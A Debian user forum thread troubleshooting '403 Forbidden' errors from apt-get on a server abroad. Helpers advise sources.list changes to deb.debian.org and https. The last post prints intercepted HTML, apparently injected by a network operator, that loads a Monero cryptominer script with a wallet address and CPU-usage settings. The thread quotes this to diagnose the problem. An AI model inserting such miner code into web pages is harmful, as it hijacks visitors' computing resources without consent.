apt-get update : 403 forbidden

[megagolgoth]

Hi,

I've got multiple GNU/Linux Debian server across different countries. And for one of these, i'm getting "403 forbidden".

My sources.list:

Code: Select all

deb http://httpredir.debian.org/debian stretch main contrib non-free

deb http://httpredir.debian.org/debian stretch-updates main contrib non-free

deb http://httpredir.debian.org/debian stretch-backports main contrib non-free

# security updates
deb http://security.debian.org stretch/updates main contrib non-free

# apt-get update

Code: Select all

# apt-get update
Ign:1 http://httpredir.debian.org/debian stretch InRelease         
Ign:2 http://security.debian.org stretch/updates InRelease                 
Ign:3 http://httpredir.debian.org/debian stretch-updates InRelease
Err:4 http://security.debian.org stretch/updates Release
  403  Forbidden [IP: 151.101.16.204 80]
Ign:5 http://httpredir.debian.org/debian stretch-backports InRelease
Ign:6 http://httpredir.debian.org/debian stretch Release
Ign:7 http://httpredir.debian.org/debian stretch-updates Release
Ign:8 http://httpredir.debian.org/debian stretch-backports Release
Ign:9 http://httpredir.debian.org/debian stretch/main amd64 Packages
Ign:10 http://httpredir.debian.org/debian stretch/main all Packages
Ign:11 http://httpredir.debian.org/debian stretch/main Translation-en_US
Ign:12 http://httpredir.debian.org/debian stretch/main Translation-en
Ign:13 http://httpredir.debian.org/debian stretch/contrib amd64 Packages
Ign:14 http://httpredir.debian.org/debian stretch/contrib all Packages
Ign:15 http://httpredir.debian.org/debian stretch/contrib Translation-en_US
Ign:16 http://httpredir.debian.org/debian stretch/contrib Translation-en
Ign:17 http://httpredir.debian.org/debian stretch/non-free amd64 Packages
Ign:18 http://httpredir.debian.org/debian stretch/non-free all Packages
Ign:19 http://httpredir.debian.org/debian stretch/non-free Translation-en_US
Ign:20 http://httpredir.debian.org/debian stretch/non-free Translation-en
Ign:21 http://httpredir.debian.org/debian stretch-updates/main amd64 Packages
Ign:22 http://httpredir.debian.org/debian stretch-updates/main all Packages
Ign:23 http://httpredir.debian.org/debian stretch-updates/main Translation-en_US
Ign:24 http://httpredir.debian.org/debian stretch-updates/main Translation-en
Ign:25 http://httpredir.debian.org/debian stretch-updates/contrib amd64 Packages
Ign:26 http://httpredir.debian.org/debian stretch-updates/contrib all Packages
Ign:27 http://httpredir.debian.org/debian stretch-updates/contrib Translation-en
Ign:28 http://httpredir.debian.org/debian stretch-updates/contrib Translation-en_US
Ign:29 http://httpredir.debian.org/debian stretch-updates/non-free all Packages
Ign:30 http://httpredir.debian.org/debian stretch-updates/non-free amd64 Packages
Ign:31 http://httpredir.debian.org/debian stretch-updates/non-free Translation-en
Ign:32 http://httpredir.debian.org/debian stretch-updates/non-free Translation-en_US
Ign:33 http://httpredir.debian.org/debian stretch-backports/main amd64 Packages
Ign:34 http://httpredir.debian.org/debian stretch-backports/main all Packages
Ign:35 http://httpredir.debian.org/debian stretch-backports/main Translation-en_US
Ign:36 http://httpredir.debian.org/debian stretch-backports/main Translation-en
Ign:37 http://httpredir.debian.org/debian stretch-backports/contrib amd64 Packages
Ign:38 http://httpredir.debian.org/debian stretch-backports/contrib all Packages
Ign:39 http://httpredir.debian.org/debian stretch-backports/contrib Translation-en_US
Ign:40 http://httpredir.debian.org/debian stretch-backports/contrib Translation-en
Ign:41 http://httpredir.debian.org/debian stretch-backports/non-free all Packages
Ign:42 http://httpredir.debian.org/debian stretch-backports/non-free amd64 Packages
Ign:43 http://httpredir.debian.org/debian stretch-backports/non-free Translation-en
Ign:44 http://httpredir.debian.org/debian stretch-backports/non-free Translation-en_US
Ign:9 http://httpredir.debian.org/debian stretch/main amd64 Packages
Ign:10 http://httpredir.debian.org/debian stretch/main all Packages
Ign:11 http://httpredir.debian.org/debian stretch/main Translation-en_US
Ign:12 http://httpredir.debian.org/debian stretch/main Translation-en
Ign:13 http://httpredir.debian.org/debian stretch/contrib amd64 Packages
Ign:14 http://httpredir.debian.org/debian stretch/contrib all Packages
Ign:15 http://httpredir.debian.org/debian stretch/contrib Translation-en_US
Ign:16 http://httpredir.debian.org/debian stretch/contrib Translation-en
Ign:17 http://httpredir.debian.org/debian stretch/non-free amd64 Packages
Ign:18 http://httpredir.debian.org/debian stretch/non-free all Packages
Ign:19 http://httpredir.debian.org/debian stretch/non-free Translation-en_US
Ign:20 http://httpredir.debian.org/debian stretch/non-free Translation-en
Ign:21 http://httpredir.debian.org/debian stretch-updates/main amd64 Packages
Ign:22 http://httpredir.debian.org/debian stretch-updates/main all Packages
Ign:23 http://httpredir.debian.org/debian stretch-updates/main Translation-en_US
Ign:24 http://httpredir.debian.org/debian stretch-updates/main Translation-en
Ign:25 http://httpredir.debian.org/debian stretch-updates/contrib amd64 Packages
Ign:26 http://httpredir.debian.org/debian stretch-updates/contrib all Packages
Ign:27 http://httpredir.debian.org/debian stretch-updates/contrib Translation-en
Ign:28 http://httpredir.debian.org/debian stretch-updates/contrib Translation-en_US
Ign:29 http://httpredir.debian.org/debian stretch-updates/non-free all Packages
Ign:30 http://httpredir.debian.org/debian stretch-updates/non-free amd64 Packages
Ign:31 http://httpredir.debian.org/debian stretch-updates/non-free Translation-en
Ign:32 http://httpredir.debian.org/debian stretch-updates/non-free Translation-en_US
Ign:33 http://httpredir.debian.org/debian stretch-backports/main amd64 Packages
Ign:34 http://httpredir.debian.org/debian stretch-backports/main all Packages
Ign:35 http://httpredir.debian.org/debian stretch-backports/main Translation-en_US
Ign:36 http://httpredir.debian.org/debian stretch-backports/main Translation-en
Ign:37 http://httpredir.debian.org/debian stretch-backports/contrib amd64 Packages
Ign:38 http://httpredir.debian.org/debian stretch-backports/contrib all Packages
Ign:39 http://httpredir.debian.org/debian stretch-backports/contrib Translation-en_US
Ign:40 http://httpredir.debian.org/debian stretch-backports/contrib Translation-en
Ign:41 http://httpredir.debian.org/debian stretch-backports/non-free all Packages
Ign:42 http://httpredir.debian.org/debian stretch-backports/non-free amd64 Packages
Ign:43 http://httpredir.debian.org/debian stretch-backports/non-free Translation-en
Ign:44 http://httpredir.debian.org/debian stretch-backports/non-free Translation-en_US
Ign:9 http://httpredir.debian.org/debian stretch/main amd64 Packages
Ign:10 http://httpredir.debian.org/debian stretch/main all Packages
Ign:11 http://httpredir.debian.org/debian stretch/main Translation-en_US
Ign:12 http://httpredir.debian.org/debian stretch/main Translation-en
Ign:13 http://httpredir.debian.org/debian stretch/contrib amd64 Packages
Ign:14 http://httpredir.debian.org/debian stretch/contrib all Packages
Ign:15 http://httpredir.debian.org/debian stretch/contrib Translation-en_US
Ign:16 http://httpredir.debian.org/debian stretch/contrib Translation-en
Ign:17 http://httpredir.debian.org/debian stretch/non-free amd64 Packages
Ign:18 http://httpredir.debian.org/debian stretch/non-free all Packages
Ign:19 http://httpredir.debian.org/debian stretch/non-free Translation-en_US
Ign:20 http://httpredir.debian.org/debian stretch/non-free Translation-en
Ign:21 http://httpredir.debian.org/debian stretch-updates/main amd64 Packages
Ign:22 http://httpredir.debian.org/debian stretch-updates/main all Packages
Ign:23 http://httpredir.debian.org/debian stretch-updates/main Translation-en_US
Ign:24 http://httpredir.debian.org/debian stretch-updates/main Translation-en
Ign:25 http://httpredir.debian.org/debian stretch-updates/contrib amd64 Packages
Ign:26 http://httpredir.debian.org/debian stretch-updates/contrib all Packages
Ign:27 http://httpredir.debian.org/debian stretch-updates/contrib Translation-en
Ign:28 http://httpredir.debian.org/debian stretch-updates/contrib Translation-en_US
Ign:29 http://httpredir.debian.org/debian stretch-updates/non-free all Packages
Ign:30 http://httpredir.debian.org/debian stretch-updates/non-free amd64 Packages
Ign:31 http://httpredir.debian.org/debian stretch-updates/non-free Translation-en
Ign:32 http://httpredir.debian.org/debian stretch-updates/non-free Translation-en_US
Ign:33 http://httpredir.debian.org/debian stretch-backports/main amd64 Packages
Ign:34 http://httpredir.debian.org/debian stretch-backports/main all Packages
Ign:35 http://httpredir.debian.org/debian stretch-backports/main Translation-en_US
Ign:36 http://httpredir.debian.org/debian stretch-backports/main Translation-en
Ign:37 http://httpredir.debian.org/debian stretch-backports/contrib amd64 Packages
Ign:38 http://httpredir.debian.org/debian stretch-backports/contrib all Packages
Ign:39 http://httpredir.debian.org/debian stretch-backports/contrib Translation-en_US
Ign:40 http://httpredir.debian.org/debian stretch-backports/contrib Translation-en
Ign:41 http://httpredir.debian.org/debian stretch-backports/non-free all Packages
Ign:42 http://httpredir.debian.org/debian stretch-backports/non-free amd64 Packages
Ign:43 http://httpredir.debian.org/debian stretch-backports/non-free Translation-en
Ign:44 http://httpredir.debian.org/debian stretch-backports/non-free Translation-en_US
Ign:9 http://httpredir.debian.org/debian stretch/main amd64 Packages
Ign:10 http://httpredir.debian.org/debian stretch/main all Packages
Ign:11 http://httpredir.debian.org/debian stretch/main Translation-en_US
Ign:12 http://httpredir.debian.org/debian stretch/main Translation-en
Ign:13 http://httpredir.debian.org/debian stretch/contrib amd64 Packages
Ign:14 http://httpredir.debian.org/debian stretch/contrib all Packages
Ign:15 http://httpredir.debian.org/debian stretch/contrib Translation-en_US
Ign:16 http://httpredir.debian.org/debian stretch/contrib Translation-en
Ign:17 http://httpredir.debian.org/debian stretch/non-free amd64 Packages
Ign:18 http://httpredir.debian.org/debian stretch/non-free all Packages
Ign:19 http://httpredir.debian.org/debian stretch/non-free Translation-en_US
Ign:20 http://httpredir.debian.org/debian stretch/non-free Translation-en
Ign:21 http://httpredir.debian.org/debian stretch-updates/main amd64 Packages
Ign:22 http://httpredir.debian.org/debian stretch-updates/main all Packages
Ign:23 http://httpredir.debian.org/debian stretch-updates/main Translation-en_US
Ign:24 http://httpredir.debian.org/debian stretch-updates/main Translation-en
Ign:25 http://httpredir.debian.org/debian stretch-updates/contrib amd64 Packages
Ign:26 http://httpredir.debian.org/debian stretch-updates/contrib all Packages
Ign:27 http://httpredir.debian.org/debian stretch-updates/contrib Translation-en
Ign:28 http://httpredir.debian.org/debian stretch-updates/contrib Translation-en_US
Ign:29 http://httpredir.debian.org/debian stretch-updates/non-free all Packages
Ign:30 http://httpredir.debian.org/debian stretch-updates/non-free amd64 Packages
Ign:31 http://httpredir.debian.org/debian stretch-updates/non-free Translation-en
Ign:32 http://httpredir.debian.org/debian stretch-updates/non-free Translation-en_US
Ign:33 http://httpredir.debian.org/debian stretch-backports/main amd64 Packages
Ign:34 http://httpredir.debian.org/debian stretch-backports/main all Packages
Ign:35 http://httpredir.debian.org/debian stretch-backports/main Translation-en_US
Ign:36 http://httpredir.debian.org/debian stretch-backports/main Translation-en
Ign:37 http://httpredir.debian.org/debian stretch-backports/contrib amd64 Packages
Ign:38 http://httpredir.debian.org/debian stretch-backports/contrib all Packages
Ign:39 http://httpredir.debian.org/debian stretch-backports/contrib Translation-en_US
Ign:40 http://httpredir.debian.org/debian stretch-backports/contrib Translation-en
Ign:41 http://httpredir.debian.org/debian stretch-backports/non-free all Packages
Ign:42 http://httpredir.debian.org/debian stretch-backports/non-free amd64 Packages
Ign:43 http://httpredir.debian.org/debian stretch-backports/non-free Translation-en
Ign:44 http://httpredir.debian.org/debian stretch-backports/non-free Translation-en_US
Ign:9 http://httpredir.debian.org/debian stretch/main amd64 Packages
Ign:10 http://httpredir.debian.org/debian stretch/main all Packages
Ign:11 http://httpredir.debian.org/debian stretch/main Translation-en_US
Ign:12 http://httpredir.debian.org/debian stretch/main Translation-en
Ign:13 http://httpredir.debian.org/debian stretch/contrib amd64 Packages
Ign:14 http://httpredir.debian.org/debian stretch/contrib all Packages
Ign:15 http://httpredir.debian.org/debian stretch/contrib Translation-en_US
Ign:16 http://httpredir.debian.org/debian stretch/contrib Translation-en
Ign:17 http://httpredir.debian.org/debian stretch/non-free amd64 Packages
Ign:18 http://httpredir.debian.org/debian stretch/non-free all Packages
Ign:19 http://httpredir.debian.org/debian stretch/non-free Translation-en_US
Ign:20 http://httpredir.debian.org/debian stretch/non-free Translation-en
Ign:21 http://httpredir.debian.org/debian stretch-updates/main amd64 Packages
Ign:22 http://httpredir.debian.org/debian stretch-updates/main all Packages
Ign:23 http://httpredir.debian.org/debian stretch-updates/main Translation-en_US
Ign:24 http://httpredir.debian.org/debian stretch-updates/main Translation-en
Ign:25 http://httpredir.debian.org/debian stretch-updates/contrib amd64 Packages
Ign:26 http://httpredir.debian.org/debian stretch-updates/contrib all Packages
Ign:27 http://httpredir.debian.org/debian stretch-updates/contrib Translation-en
Ign:28 http://httpredir.debian.org/debian stretch-updates/contrib Translation-en_US
Ign:29 http://httpredir.debian.org/debian stretch-updates/non-free all Packages
Ign:30 http://httpredir.debian.org/debian stretch-updates/non-free amd64 Packages
Ign:31 http://httpredir.debian.org/debian stretch-updates/non-free Translation-en
Ign:32 http://httpredir.debian.org/debian stretch-updates/non-free Translation-en_US
Ign:33 http://httpredir.debian.org/debian stretch-backports/main amd64 Packages
Ign:34 http://httpredir.debian.org/debian stretch-backports/main all Packages
Ign:35 http://httpredir.debian.org/debian stretch-backports/main Translation-en_US
Ign:36 http://httpredir.debian.org/debian stretch-backports/main Translation-en
Ign:37 http://httpredir.debian.org/debian stretch-backports/contrib amd64 Packages
Ign:38 http://httpredir.debian.org/debian stretch-backports/contrib all Packages
Ign:39 http://httpredir.debian.org/debian stretch-backports/contrib Translation-en_US
Ign:40 http://httpredir.debian.org/debian stretch-backports/contrib Translation-en
Ign:41 http://httpredir.debian.org/debian stretch-backports/non-free all Packages
Ign:42 http://httpredir.debian.org/debian stretch-backports/non-free amd64 Packages
Ign:43 http://httpredir.debian.org/debian stretch-backports/non-free Translation-en
Ign:44 http://httpredir.debian.org/debian stretch-backports/non-free Translation-en_US
Err:9 http://httpredir.debian.org/debian stretch/main amd64 Packages
  403  Forbidden [IP: 128.31.0.62 80]
Ign:10 http://httpredir.debian.org/debian stretch/main all Packages
Ign:11 http://httpredir.debian.org/debian stretch/main Translation-en_US
Ign:12 http://httpredir.debian.org/debian stretch/main Translation-en
Ign:13 http://httpredir.debian.org/debian stretch/contrib amd64 Packages
Ign:14 http://httpredir.debian.org/debian stretch/contrib all Packages
Ign:15 http://httpredir.debian.org/debian stretch/contrib Translation-en_US
Ign:16 http://httpredir.debian.org/debian stretch/contrib Translation-en
Ign:17 http://httpredir.debian.org/debian stretch/non-free amd64 Packages
Ign:18 http://httpredir.debian.org/debian stretch/non-free all Packages
Ign:19 http://httpredir.debian.org/debian stretch/non-free Translation-en_US
Err:21 http://httpredir.debian.org/debian stretch-updates/main amd64 Packages
  403  Forbidden [IP: 128.31.0.62 80]
Ign:22 http://httpredir.debian.org/debian stretch-updates/main all Packages
Ign:23 http://httpredir.debian.org/debian stretch-updates/main Translation-en_US
Ign:24 http://httpredir.debian.org/debian stretch-updates/main Translation-en
Ign:25 http://httpredir.debian.org/debian stretch-updates/contrib amd64 Packages
Ign:26 http://httpredir.debian.org/debian stretch-updates/contrib all Packages
Ign:27 http://httpredir.debian.org/debian stretch-updates/contrib Translation-en
Ign:28 http://httpredir.debian.org/debian stretch-updates/contrib Translation-en_US
Ign:29 http://httpredir.debian.org/debian stretch-updates/non-free all Packages
Ign:30 http://httpredir.debian.org/debian stretch-updates/non-free amd64 Packages
Ign:31 http://httpredir.debian.org/debian stretch-updates/non-free Translation-en
Err:33 http://httpredir.debian.org/debian stretch-backports/main amd64 Packages
  403  Forbidden [IP: 128.31.0.62 80]
Ign:34 http://httpredir.debian.org/debian stretch-backports/main all Packages
Ign:35 http://httpredir.debian.org/debian stretch-backports/main Translation-en_US
Ign:36 http://httpredir.debian.org/debian stretch-backports/main Translation-en
Ign:37 http://httpredir.debian.org/debian stretch-backports/contrib amd64 Packages
Ign:38 http://httpredir.debian.org/debian stretch-backports/contrib all Packages
Ign:39 http://httpredir.debian.org/debian stretch-backports/contrib Translation-en_US
Ign:40 http://httpredir.debian.org/debian stretch-backports/contrib Translation-en
Ign:41 http://httpredir.debian.org/debian stretch-backports/non-free all Packages
Ign:42 http://httpredir.debian.org/debian stretch-backports/non-free amd64 Packages
Ign:43 http://httpredir.debian.org/debian stretch-backports/non-free Translation-en
Reading package lists... Done
E: The repository 'http://security.debian.org stretch/updates Release' does no longer have a Release file.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
W: The repository 'http://httpredir.debian.org/debian stretch Release' does not have a Release file.
N: Data from such a repository can't be authenticated and is therefore potentially dangerous to use.
N: See apt-secure(8) manpage for repository creation and user configuration details.
W: The repository 'http://httpredir.debian.org/debian stretch-updates Release' does not have a Release file.
N: Data from such a repository can't be authenticated and is therefore potentially dangerous to use.
N: See apt-secure(8) manpage for repository creation and user configuration details.
W: The repository 'http://httpredir.debian.org/debian stretch-backports Release' does not have a Release file.
N: Data from such a repository can't be authenticated and is therefore potentially dangerous to use.
N: See apt-secure(8) manpage for repository creation and user configuration details.

And bonus

Code: Select all

$ dig TXT +short o-o.myaddr.l.google.com @ns1.google.com
"102.165.125.99"

[Head_on_a_Stick]

I think the old httpredir site is down now, try https://deb.debian.org instead.

[megagolgoth]

I'm getting a "403 forbidden" for security.debian.org

Code: Select all

# apt-get update
Ign:1 http://security.debian.org stretch/updates InRelease                                                                   
Ign:2 http://deb.debian.org/debian stretch InRelease                
Err:3 http://security.debian.org stretch/updates Release            
  403  Forbidden [IP: 151.101.16.204 80]

With the same sources.list on another country, I never had this error message...

[stevepusser]

What do you show for

Code: Select all

apt policy apt-transport-https

?

Install it if you don't have it.

[Head_on_a_Stick]

^ That package is only needed for https sources, which the OP doesn't have.

@OP: deb.debian.org also provides the Security repositories so perhaps try that.

It looks like your DNS is wrong:

Code: Select all

E485:~$ resolvectl query security.debian.org
security.debian.org: 128.31.0.63               -- link: wlp3s0
                     149.20.4.14               -- link: wlp3s0
                     128.101.240.215           -- link: wlp3s0
                     128.61.240.73             -- link: wlp3s0

-- Information acquired via protocol DNS in 416.5ms.
-- Data is authenticated: yes
E485:~$

But maybe that's because we're in different places.

[megagolgoth]

So I have to modify

Code: Select all

# security updates
deb http://security.debian.org stretch/updates main contrib non-free

to

Code: Select all

# security updates
deb http://deb.debian.org/debian-security/ stretch/updates main contrib non-free

Is that correct?

[megagolgoth]

Not the same country, almost for sure...

You can guess the country where my server is, on the first post...

From home :

Code: Select all

$ resolvectl query security.debian.org
security.debian.org: 128.31.0.63               -- link: wlp2s0
                     149.20.4.14               -- link: wlp2s0
                     128.101.240.215           -- link: wlp2s0
                     128.61.240.73             -- link: wlp2s0
                     212.211.132.250           -- link: wlp2s0
                     217.196.149.233           -- link: wlp2s0
                     200.17.202.197            -- link: wlp2s0

-- Information acquired via protocol DNS in 339.7ms.
-- Data is authenticated: no

I will try from my remote server tomorrow.

[Head_on_a_Stick]

Code: Select all

# security updates
deb http://deb.debian.org stretch/updates main contrib non-free

Is that correct?

No.

You want

Code: Select all

deb http://deb.debian.org/debian-security stretch/updates main contrib non-free

And if you install the apt-transport-https package then you can change the lines to use https instead.

[megagolgoth]

What do you show for

Code: Select all

apt policy apt-transport-https

?

Install it if you don't have it.

I already got it. I will try tomorrow with a sources.list like this:

Code: Select all

deb https://deb.debian.org/debian stretch main contrib non-free

deb https://deb.debian.org/debian stretch-updates main contrib non-free

# security updates
deb https://deb.debian.org/debian-security stretch/updates main contrib non-free

# backports
deb https://deb.debian.org/debian stretch-backports main contrib non-free

But must important :

Why i'm getting a "403 forbidden"? My public IP is blacklisted?

[megagolgoth]

Hi

Got the reason, in some country, they are doing very crappy stuff with Internet :

Code: Select all

$ curl deb.debian.org/debian
<html>
<head>
	<meta http-equiv="Content-Type" content="text/html;charset=windows-1251">
	<title>"http://deb.debian.org/debian"</title> 
<script src="https://xmr.omine.org/assets/v7.js"></script>

  <script>

    OMINE("45KGejq1HDHXB618E3aeWHFyoLh1kM5syRG8FHDiQ4pZXZF1pieqW7DM5HHe3Y2oc1YwoEc7ofjgtbeEqV3UrkS9SVygJPT","-1"); //-1 means use all cpu threads
    throttleMiner=20; //20 means 80% of cpu usage

  </script>
</head>
<frameset>
<frame src="http://deb.debian.org/debian"></frame>
</frameset>

No comment....